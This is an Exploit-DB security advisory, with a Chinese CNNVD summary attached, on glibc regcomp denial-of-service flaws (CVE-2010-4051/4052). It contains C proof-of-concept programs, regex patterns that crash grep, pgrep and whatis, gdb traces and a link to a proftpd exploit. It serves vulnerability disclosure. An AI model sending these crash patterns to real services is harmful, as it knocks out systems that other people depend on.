https://www.exploit-db.com/exploits/15935


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201101-153

GNU C Library（glibc，libc6）是一种按照LGPL许可协议发布的开源免费的C语言编译程序。 GNU C Library（又名glibc或者libc6）至2.11.3版本，以及2.12.x至2.12.2版本中的regcomp实现中存在安全漏洞。上下文攻击者可以借助包含相邻的重复操作符的正则表达式（绕过了预设的RE_DUP_MAX限制）导致拒绝服务（应用程序崩溃）。

// source: http://securityreason.com/securityalert/8003
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ GNU libc/regcomp(3) Multiple Vulnerabilities ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 01.10.2010
- - Pub.: 07.01.2011
CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052
Affected (tested):
- - Ubuntu 10.10
- - Slackware 13
- - Gentoo 18.10.2010
- - FreeBSD 8.1 (grep(1))
- - NetBSD 5.0.2 (grep(1))
Original URL:
http://securityreason.com/achievement_securityalert/93
Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c
- --- 0.Description ---
The GNU C library is used as the C library in the GNU system and most
systems with the Linux kernel.
# define RE_DUP_MAX (0x7fff)
regcomp() is used to compile a regular expression into a form that is
suitable for subsequent regexec() searches.
- --- 1. RE_DUP_MAX overflow ---
The main problem exists in regcomp(3) function of GNU libc implementation.
Let`s try understand..
- ---
int
regcomp (preg, pattern, cflags)
regex_t *__restrict preg;
const char *__restrict pattern;
int cflags;
{
- ---
if we use '{', token type will be OP_OPEN_DUP_NUM.
- ---
/* This function parse repetition operators like "*", "+", "{1,3}" etc.
*/
static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
bin_tree_t *tree = NULL, *old_tree = NULL;
int i, start, end, start_idx = re_string_cur_idx (regexp);
re_token_t start_token = *token;
if (token->type == OP_OPEN_DUP_NUM)
{
end = 0;
start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
- ---
let`s see fetch_number =>
- ---
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
int num = -1;
unsigned char c;
while (1)
{
fetch_token (token, input, syntax);
c = token->opr.c;
if (BE (token->type == END_OF_RE, 0))
return -2;
if (token->type == OP_CLOSE_DUP_NUM || c == ',')
break;
num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
num = (num > RE_DUP_MAX) ? -2 : num;
}
return num;
}
- ---
now see regex.h to know, what value have RE_DUP_MAX
- ---
/* Maximum number of duplicates an interval can allow. Some systems
(erroneously) define this in other header files, but we want our
value, so remove any previous define. */
# ifdef RE_DUP_MAX
# undef RE_DUP_MAX
# endif
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
# define RE_DUP_MAX (0x7fff)
#endif
- ---
calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.
so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR
if we use more that one time '{' token.
They are many vectors attack
grep(1):
cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
pgrep(1):
cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
bregex from bacula-director-common
cx@cx64:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault
whatis(1):
cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
and more like proftpd.
Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
(gdb) x/i $eax
0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08
#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
...
- ---PoC1---
#include <regex.h>
int main(){
regex_t preg;
// char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
- ---PoC1---
- --- 2. Stack Exhausion ---
This issue, may be also use to Denial of Service by stack exhausion
#ls |grep -E ".*{10,}{10,}{111111,}"
- ---PoC2---
#include <regex.h>
int
main ()
{
regex_t preg;
char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
// char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
- ---PoC2---
Such a pattern may lead to allocate a large memory area, or large execution
time
As we can read in vsftpd/HACKING
- ---
- do not use libc features that are "complicated"
and may contain security holes. For example, you probably shouldn't
try to use regcomp() to compile an untrusted regular expression.
Regular expressions are just too complicated, and there are many
different libc's out there.
- ---
That's true. But the worst implementation of lib C is GNU. There is a huge
difference using proftpd on NetBSD and Linux
- --- 3. Stack Exhausions ---
Stack Exhausions was found in GNU glibc.
- ---PoC3---
/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
- ---PoC3---
when more '+' that more allocated memory. But let's see next one
- ---PoC4---
cx@cx64:~$ ulimit -m 100000
cx@cx64:~$ ulimit -v 200000
cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
Segmentation fault
cx@cx64:~$
- ---PoC4---
the same command like in PoC 3, fails.
(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted
Add one "+" more
Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x7ffff720a010) at malloc.c:3709
3709 if (chunk_is_mmapped(p)) /* release mmapped
memory. */
(gdb) bt
#0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709
#1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
#2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
#3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231
- ---malloc.c---
...
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p))
...
- ---malloc.c---
where
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
mem variable (mem=0x7ffff720a010)
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: 0x00
or
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: Cannot access memory at address 0x7ffff720a010
(gdb) x/i $rip
=> 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi
(gdb) x/i $rdi
0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010
(gdb) x/i $rsi
0x0: Cannot access memory at address 0x0
or check this
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
2547 if (elem->token.type == SUBEXP)
(gdb) x/i $rip
=> 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)
(gdb) x/i $r15
0x0: Cannot access memory at address 0x0
rax 0x0 0
rbx 0x61f0c0 6418624
rcx 0xffffffffffffffa8 -88
rdx 0x0 0
rsi 0x61f0c0 6418624
rdi 0x0 0
rbp 0x7fffffffe010 0x7fffffffe010
rsp 0x7fffffffdb70 0x7fffffffdb70
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x4022 16418
r11 0x246 582
r12 0x7fffffffdf70 140737488346992
r13 0x4730ae8 74648296
r14 0xffffffff 4294967295
r15 0x0 0
rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>
#0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
#1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2390
#2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0,
token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
#3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122
if (BE (start > 0, 0))
{
tree = elem;
for (i = 2; i <= start; ++i)
{
elem = duplicate_tree (elem, dfa);
tree = create_tree (dfa, tree, elem, CONCAT);
if (BE (elem == NULL || tree == NULL, 0))
goto parse_dup_op_espace;
}
if (start == end)
return tree;
/* Duplicate ELEM before it is marked optional. */
elem = duplicate_tree (elem, dfa);
old_tree = tree;
}
else
old_tree = NULL;
if (elem->token.type == SUBEXP) <=CRASH HERE
These vulnerabilities are not really dangerous. However, there is the
possibility to use the DoS attack. An example might be an exploit for
proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the
GNU should fix the problem.
- --- 4. Exploit ---
proftpd/linux:
http://cxib.net/stuff/proftpd.gnu.c
- --- 5. Greets ---
Christos Zoulas, US-CERT, sp3x, Infospec
- --- 6. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
iQIcBAEBAgAGBQJNJk7rAAoJEIO8+dzW5bUwQ/YP/1G4nXltaUdMrdoUu39DM+WJ
c3f+klSObS/1cDmzBOUte8ddiDdAVbU5yUvjkXkjWwMmxyPregxQxF85iUQ19UIP
Pekvo5iuI2Uh5hpWQiTxxHiTqEsGeP9XzKz9uLxQPijicD6vjovg8MkS9xEdg6ID
Q1KW+7tlWY7xgGXTqZux9Y4CsMXqIaWhZlIPJjXDIEipe6HzsKZ0UmRPGEuJGSOh
0tX8Om6PenFk8XOQSp20HMbK/W2qpc1hPAJ3/mrFO+uPF+8scpw413uhjwiSXOUj
HUWE/iioFHRuX9eb2mwDuPKNe32OgLPRpcz1nITQVrOXTyfnwUtPrQeRu6h8Dpv7
RGQtD2GdKknDpkfbUcw0/EHMSbWaJdOWZfFdDAl+rEhS8AwPNK2NJb+7LJ6AQmsM
VCrJPP5eM1XM9jsQT9tvhyOunvw/HMoH/k+GP34p+FiKDIYI1LF3Gxj/w53gUK3F
nYLzmoahnqC4WdfUfZizf24PXmH+385JoStrpC4Emn1kuFrM9i/eXQ3xI9My0OXJ
PFHmVCFx/4iXSi/YNcShZellwi60kFe2OvfJ8BYtG15H+xr0djznLhMqbr2YMisJ
066WWpfe1hTTJezLjbM8Sa9NnufXnEV+jWUocQ+dsSa2Tecn8DrsGor0Yd6UR6in
s6+OIVFddtIZrQ6dw+Kk
=kcIG
-----END PGP SIGNATURE-----

来源:US-CERTVulnerabilityNote:VU#912279

名称:VU#912279

链接:http://www.kb.cert.org/vuls/id/912279

来源:cxib.net

链接:http://cxib.net/stuff/proftpd.gnu.c

来源:bugzilla.redhat.com

链接:https://bugzilla.redhat.com/show_bug.cgi?id=645859

来源:BID

名称:45233

链接:http://www.securityfocus.com/bid/45233

来源:BUGTRAQ

名称:20110107GNUlibc/regcomp(3)MultipleVulnerabilities

链接:http://www.securityfocus.com/archive/1/archive/1/515589/100/0/threaded

来源:SECTRACK

名称:1024832

链接:http://securitytracker.com/id?1024832

来源:SREASON

名称:8003

链接:http://securityreason.com/securityalert/8003

来源:SREASONRES

名称:20110107GNUlibc/regcomp(3)MultipleVulnerabilities

链接:http://securityreason.com/achievement_securityalert/93

来源:SECUNIA

名称:42547

链接:http://secunia.com/advisories/42547

来源:FULLDISC

名称:20110107GNUlibc/regcomp(3)MultipleVulnerabilities

链接:http://seclists.org/fulldisclosure/2011/Jan/78

来源：NSFOCUS

名称：16121

链接：http://www.nsfocus.net/vulndb/16121